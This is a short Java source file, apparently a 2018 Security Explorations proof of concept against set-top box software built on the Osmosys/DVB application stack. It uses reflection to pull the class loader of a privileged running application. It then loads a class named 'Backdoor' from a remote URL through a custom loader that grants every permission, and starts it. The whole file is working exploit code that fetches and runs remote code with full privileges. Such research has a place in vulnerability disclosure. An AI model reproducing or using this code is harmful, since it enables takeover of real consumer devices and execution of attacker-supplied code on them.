/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.lang.reflect.*;
import java.net.*;
import java.security.*;
import java.util.*;
import tv.osmosys.application.*;
import tv.osmosys.application.ait.*;
import tv.osmosys.memwatch.*;
import org.dvb.application.*;

public class A extends URLClassLoader {
 public static final String POC_CLASS     = "Backdoor";
 public static final String CARBO_CLASS =   "com.adb.gae.iticarbo.AppManagerImpl";

 private static ClassLoader get_carbo_loader() {
  ClassLoader cl=null;

  try {
   AppManager appmgr=AppManager.getInstance();

   Class c=Class.forName("tv.osmosys.application.AppManager$RunningApplicationsAlwaysVisibleFilter");
   Object appfilter=c.newInstance();

   Enumeration e=appmgr.getAppIDs((AppsDatabaseFilter)appfilter);

   while(e.hasMoreElements()) {
    AppID appid=(AppID)e.nextElement();

    XletAppAttributes attributes=appmgr.getEffectiveAppAttributes(appid);

    if (attributes!=null) {
     AppProxy appproxy=appmgr.getAppProxy(appid);

     if (appproxy!=null) {
      int state=appproxy.getState();

      Field f=appproxy.getClass().getDeclaredField("appinst");
      f.setAccessible(true);

      Object appinst=f.get(appproxy);

      f=appinst.getClass().getDeclaredField("theAppTV");
      f.setAccessible(true);

      Object xlet=f.get(appinst);

      if (state==0) {
       if (xlet.getClass().getName().equals(CARBO_CLASS)) {
        cl=xlet.getClass().getClassLoader();
       }
      }
     }
    }
   }
  } catch(Throwable t) {}

  return cl;
 }

 public static void run_poc(String POC_URL) {
  try {
   URL utab[]=new URL[1];
   utab[0]=new URL(POC_URL);

   ClassLoader cl=new A(utab,get_carbo_loader());
   Class c=cl.loadClass(POC_CLASS);

   Method start_m=c.getMethod("start",new Class[0]);
   start_m.invoke(null,new Object[0]);
  } catch(Throwable t) {}
 }

 public A(URL urls[],ClassLoader cl) {
  super(urls,cl);
 }	 

 public PermissionCollection getPermissions(CodeSource codesource) {
  Permissions perms=new Permissions();
  perms.add(new AllPermission()); 
  return perms;
 }
}
